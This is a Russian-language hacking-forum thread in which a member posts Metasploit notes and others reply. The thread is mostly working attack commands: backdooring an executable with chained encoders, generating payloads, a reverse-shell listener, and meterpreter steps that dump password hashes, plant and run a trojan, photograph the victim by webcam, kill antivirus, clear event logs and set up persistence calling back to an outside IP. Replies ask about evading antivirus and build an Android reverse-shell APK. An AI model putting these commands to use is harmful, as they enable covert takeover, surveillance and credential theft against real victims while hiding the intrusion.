HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 21.09.2016, 17:33
SooLFaa
Guest
Сообщений: n/a
Провел на форуме:
187765

Репутация: 154
По умолчанию

Всем привет. Пришлось позаморачиваться с метасплоитоми решил сделать несколько заметочек.

Я не буду в миллионный раз повторять, то, что уже написано на форуме о метасплоите.

Что это почитать можно здесь и ещё огромная куча тем.

В данной статье я пользовался поиском и старался писать о том о чем еще не написано здесь.

Далее ссылочки из трёх книженций откуда впринципе и взята эта информация

METASPLOIT UNLEASHED

Metasploit Penetration Testing Cookbook

Metasploit The Penetration Tester’s Guide

Для кого статья?

В первую очередь для меня. =)

А так же всем тем, кто уже знаком с фреймворком, хотя гуру врядли для себя что - то найдут.

Поехали. Метасплоит это в первую очередь фабрика сплоитов, средство которое позволяет создавать и использовать свои сплоиты (запуск уже готовых это меньшее, что он может). Поэтому всё что есть в нём можно использовать и без него. Для примера вот отличная статья эксплоита Buffer over Flow (позже напишем и об этом что - нибудь).

msfcli - довольно удобная штука, когда одно действие приходится запускать часто (у меня это запуск листенера)

Традиционный способ

Код:
Code:
msfconsole или msfconsole '-x use exploit/multy/handler'
use exploit/multy/handler
SET LHOST наш хост
SET LPORT наш порт, который слушаем.
SET PAYLOAD windows/meterpreter/reverse_tcp (пэйлоадах чуть ниже)
exploit
Тоже самое

Код:
Code:
- msfcli exploit/multi/handler LHOST=host LPORT=1337 PAYLOAD=windows/meterpreter/reverse_tcp E
Какие есть флаги у этой штуки например (O показать опции, E exploit) предлагаю самим разобраться.

Едем дальше

SETG- очень удобная команда когда мы хотим раз и навсегда (на всё время работы с метасплоитом) установить какие то значения LHOST, LPORT, PAYLOAD, ENCODER и т.п.

Код:
Code:
msf> setg LHOST 192.168.1.0
msf> save
При генерации сплоита все знают о set payload, но мало кто вспоминает о set encoder - это по сути небольшой крипт для сплоита (не панацея от антивирусов, здесь уже могущество других

фреймворков), но в некоторых случаях помочь может хотя бы от тех кто захочет полезть в Ваш билд или слушать сокет.

-> show encoders -Список активных енкодеров

В основном их названия говорят за себя

Код:
Code:
cmd/generic_sh
generic/none The "none" Encoder
mipsbe/longxor XOR Encoder
................................
x86/unicode_mixed Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper Alpha2 Alphanumeric Unicode Uppercase Encoder
Можно комбинировать енкодерыкомандой +

Код:
Code:
msfencode -t exe -x sol.exe -k -o sol_bdoor.exe -e x86/shikata_ga_nai + mipsbe/longxor -c 3
где, c - количество итераций.

-> show auxiliary Здесь есть практический всё, и smb_scan, и portscan, и pivoting. Эта категория содержит в себе не совсем сплоиты а скорее вспомогательные модули, для разведки, фазинга, брутфорса и т.п.

Однако значительную долю умеет тот же nmap и другие более легковестные вещи. Поэтому я не увидел применения например auxiliary(posrtscan) когда есть старый добрый db_nmapсо всеми возможностями, плюс добавления в базу метасплоита, но есть и интересные вещи например "admin/cisco/ios_http_auth_bypass". Заострять внимание на этом не будем. Очень советую вспоминать об этом;

-> show payloads- Вывод всех полезных нагрузок.

Конечно большинство из нас привыкло к старому доброму метрпретеру и это оправдано. Шел с огромной кучей возможностей, достаточно удобный и лаконичный, но иногда нужно что то более

легковесное или под другую архитектуру.

Виды payloads.

Single
- одиночное выполнение любой команды (например на языке C# Process.Start("calc.exe") - вызов калькулятора).

Stagers (windows/shell_bind_tcp) - Во первых этот тип пэйлоадов более легковесный, соответственно более надежный (держать включенной сессию ncat куда проще чем сессию метерпретер), меньший риск потери соединения.

Stages- Наиболее тяжелые нагрузки, здесь же наш могучий метрпретер, суть этого вида нагрузок, что он загружается не сразу весь а поэтапно, имеет как правило обширный функционал(meterpreter). К недостаткам можно отнести большой объем занимаемой оперативной памяти.



Генерация payload
(полезно, когда надо использовать в своем коде)

Код:
Code:
msf > use payload/windows/shell/bind_tcp
.............Устанавливаем параметры........................
msf payload(bind_tcp) > generate
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x..............\x01\xc3\x29\xc6\x85" + "\xf6\x75\xec\xc3"
Далее эту строку можно впиливать в любую программку или просто кидать в сокет.

Далее поговорим о метерпретере(хотя это всё это можно проделать и не только в нём);

Мы получили доступ к системе, всё очень здорово, и какие дальнейшие шаги можно предпринять?

hashdump- Старый добрый файл SAM

migrate- Первое с чего лично я начинаю (а точнее уже автоматизировал сей процесс) - это миграция. Процесс теперь не висит сам по себе, а выглядит как отдельный поток, прилепившейся к другому процессу. И может стать не убиваемым.

shell- Переход в командный режим

uploadevil_trojan.exe c:\\windows\\system32 - Как Вы догодались отправка файлать мигра

execute -f evil_trojan.exe -i -H - а затем его выполнение

webcam_snap -i 1 -v false - Сфоткаемся на вебку. где i- время ожидания в секундах

clearev- Очистить журнал

use sniffer - снииффер трафика.

sniffer_start 1 - запуск сниффера с активной сетевой карты

sniffer_dump - снять полученные пакеты

route add 10.211.55.0 255.255.255.0 1 - Добавить маршрут, полезно для того чтобы бегать от сети к сети

run checkvm - А вот как раз узнать находимся ли мы на виртуалке.

run getcountermeasure - проверка на защищенность системы, может даже что и удастся отрубить(фаерволл, антивирь).

run killav- убийца антивирусов.

run getgui- Включает (а точнее пытается) включить rdp'шечку

run gettelnet- без комментариев

run get_local_subnets- получить имя подсети

run hostsedit -e 10.211.55.162,www.microsoft.com, известный факт, что первое куда смотрит компьютер, чтобы получить ip доменного имени - это файл hosts, и только если там нет обращается к серверу. Что с этим делать вариантов много.

run remotewinenum - Сборщик информации О СИСТЕМЕ

run scraper - ЕЩЁ БОЛЬШЕ ИНФОРМАЦИИ О СИСТЕМЕ

run metsvc - примитивный бэкдор, постоянно отваливается, а за NAT'ом вообще не работает.

run persistence -U -i 5 -p 1342 -r 62.102.1.1 - вот это штука заставляет жертву подключаться к вам каждые 5 секунд.

portfwd add -l 80 -p 80 -r 192.168.0.101 - Проброс нужных нам портов с другого хоста подсети.


И это не всё. Список всех пост модулей можно глянуть командой show posts

Как же нам сгенерировать свою полезную нагрузку?

Код:
Code:
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f exe
где -e тип енкодера, а i - кол-во итераций, но имейте ввиду что stagers нагрузки менее заметны для антивирусов, чем satges.

Автоматическая подгрузка сценариев:

Итак, допустим, мы хотим, чтобы при получении сессии сразу выполнялось повышение привелегий на атакуемой Windows машине через

известный сплоит bypass_uac

Без лишних слов, просто как это сделать:

Код:
Code:
use 
set LHOST 
..................
set PAYLOAD 
set AUTORUNSCRIPT exploit/windows/local/bypassuac
Вот как раз последняя строчка и отвечает за то что подгрузить при успешной создании сессии.

Альтернативная переменная InitialAutoRunScript, которой просто нужно дать команду для пост эксплуатации.

Пример: set InitialAutoRunScript 'migrate -f'

Свои сценарии

Пришло время автоматизировать процесс и написать свой сценарий для метрпретера.

Существует возможность загнать в файл уже заранее известный алгоритм команд метасплоита и выполнить его

с помощью rc скриптов. Причем такие скрипты могут включать в себя как код на руби (свои какие то действия), так и возможности

метаплоита.

Попробуем создать файл scanner.rc (так как я не спецаилист руби, то пример взят отсюда http://lockboxx.blogspot.ru/2013/06/...-resource.html)

Выглядит скрипт руби так

Код:
Code:
#calling ruby

run_single("db_nmap -sU -sS -Pn -n --script=smb-check-vulns.nse,samba-vuln-cve-2012-1182 --script-args=unsafe=1 -p U:135,T:139,445 #{framework.datastore['RHOSTS']}")
run_single("db_nmap -sS -Pn -n --script=ftp-vuln-cve2010-4221.nse -p 21 #{framework.datastore['RHOSTS']}")
run_single("services #{framework.datastore['RHOSTS']}")
run_single("vulns #{framework.datastore['RHOSTS']}")
И вызываем его в консоли метасплоита командой resource scanner.rc

Другой листинг


Код:
Code:
#chaining common scanners
use auxiliary/scanner/snmp/snmp_enum
run
use auxiliary/scanner/snmp/snmp_login
run
use auxiliary/scanner/snmp/snmp_enumusers
run
use auxiliary/scanner/snmp/snmp_enumshares
run
use auxiliary/scanner/nfs/nfsmount
run
use auxiliary/scanner/vnc/vnc_none_auth
run
Аналогично предыдущему, но уже предопределенные настройки метасплоита необходимо установить командой setg.

База данных метасплоита

После создания подключения к базе данных первое что мы можем сделать проверить статус командой db_status.

Рассмотрим основные действия в базе:

workspace- отдельное хранилище. Именно воркспейсы хранят в себя отдельные результаты сканирования сети или подсети.

workspace lab1 - переключает текущее рабочее пространство на lab1;

workspace -a laba1- создание рабочей области (сохраняет все результаты сканирования сохранены здесь)

db_nmapдобавить в базу хост с помощью сканера nmap (об этом можно почитать здесь)

hosts- Выводить информацию о хостах в различном виде;

services- Выводить информацию о сервисах в различном виде;

loot- сохранение дампа хэш-файла операционной системы

Далее поговорим о Карметасплоите, wmap (устаревший модуль для сканирования веб приложений), интеграция с nessus, nexpose, beef, empire и созданию своих сплоитов (не зеро дей )))).

Всем спасибо! Недочеты и аргументированная критика есть гуд.
 
Ответить с цитированием

  #2  
Старый 23.12.2016, 00:53
Kevin Shindel
Guest
Сообщений: n/a
Провел на форуме:
350242

Репутация: 62
По умолчанию

Очень позновательный топик...

У меня вопрос к ТС'у , есть ли какие комбинации енкодера которые не палятся антивирем?

Увиличивал кол-во интераций один фиг удаляется...
 
Ответить с цитированием

  #3  
Старый 25.12.2016, 17:39
SooLFaa
Guest
Сообщений: n/a
Провел на форуме:
187765

Репутация: 154
По умолчанию

Цитата:
Сообщение от Kevin Shindel  
Kevin Shindel said:

Очень позновательный топик...
У меня вопрос к ТС'у , есть ли какие комбинации енкодера которые не палятся антивирем?
Увиличивал кол-во интераций один фиг удаляется...
Спасибо, Я на самом деле, в последнее время на другом борде зависаю, вот тут моя статья о том как забайпассить AV msf - payload с помощью C#. https://codeby.net/forum/threads/av-...schju-c.58637/
 
Ответить с цитированием

  #4  
Старый 25.12.2016, 19:38
Kevin Shindel
Guest
Сообщений: n/a
Провел на форуме:
350242

Репутация: 62
По умолчанию

Спасибо, буду изучать.
 
Ответить с цитированием

  #5  
Старый 05.01.2017, 00:57
Fujiko Mine
Guest
Сообщений: n/a
Провел на форуме:
7695

Репутация: 0
По умолчанию

в общем вроде делаю всё по сценарию:

ОС Kali 2

мой_ip=192.168.0.103

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=8080 R > /var/www/shell.apk

msfconsole

use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

set lhost 192.168.0.103

set lport 8080

exploit

собственно потом вижу это:
[*] Started reverse TCP handler on 192.168.0.103:8080
[*] Starting the payload handler...
[*] Sending stage (63194 bytes) to 192.168.0.100
[*] Meterpreter session 1 opened (192.168.0.103:8080 -> 192.168.0.100:54636) at 2017-01-04 15:46:03 +0000
[*] 192.168.0.100 - Meterpreter session 1 closed. Reason: Died

[-] Invalid session identifier: 1

интересны возможные причины и способы их обойти/устранить
 
Ответить с цитированием

  #6  
Старый 06.01.2017, 18:09
SooLFaa
Guest
Сообщений: n/a
Провел на форуме:
187765

Репутация: 154
По умолчанию

Отваливается сессия. Причин тому может быть много. Попробуй с AutoRun поиграться.
 
Ответить с цитированием

  #7  
Старый 07.01.2017, 16:12
Fujiko Mine
Guest
Сообщений: n/a
Провел на форуме:
7695

Репутация: 0
По умолчанию

Цитата:
Сообщение от SooLFaa  
SooLFaa said:

Отваливается сессия. Причин тому может быть много. Попробуй с AutoRun поиграться.
Если не затруднит, напиши пожалуйста готовый пример этой строки

не совсем понятно когда выполнять данную операцию
 
Ответить с цитированием

  #8  
Старый 07.01.2017, 17:13
BabaDook
Guest
Сообщений: n/a
Провел на форуме:
238786

Репутация: 40
По умолчанию

Цитата:
Сообщение от Fujiko Mine  
Fujiko Mine said:

в общем вроде делаю всё по сценарию:
ОС Kali 2
мой_ip=192.168.0.103
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=8080 R > /var/www/shell.apk
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.0.103
set lport 8080
exploit
собственно потом вижу это:[*] Started reverse TCP handler on 192.168.0.103:8080[*] Starting the payload handler...[*] Sending stage (63194 bytes) to 192.168.0.100[*] Meterpreter session 1 opened (192.168.0.103:8080 -> 192.168.0.100:54636) at 2017-01-04 15:46:03 +0000[*] 192.168.0.100 - Meterpreter session 1 closed. Reason: Died
[-] Invalid session identifier: 1
интересны возможные причины и способы их обойти/устранить
у жертвы фаерволл 1) пробуй сразу мигрейт сделать 2)
 
Ответить с цитированием

  #9  
Старый 07.01.2017, 17:31
Fujiko Mine
Guest
Сообщений: n/a
Провел на форуме:
7695

Репутация: 0
По умолчанию

Цитата:
Сообщение от BabaDook  
BabaDook said:

у жертвы фаерволл 1) пробуй сразу мигрейт сделать 2)
тоже попрошу написать готовый пример (показать на пальцах), если не затруднит
 
Ответить с цитированием

  #10  
Старый 07.01.2017, 17:36
BabaDook
Guest
Сообщений: n/a
Провел на форуме:
238786

Репутация: 40
По умолчанию

Цитата:
Сообщение от Fujiko Mine  
Fujiko Mine said:

тоже попрошу написать готовый пример (показать на пальцах), если не затруднит
Не сори, я точно писать не буду. Экспериментируйте
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ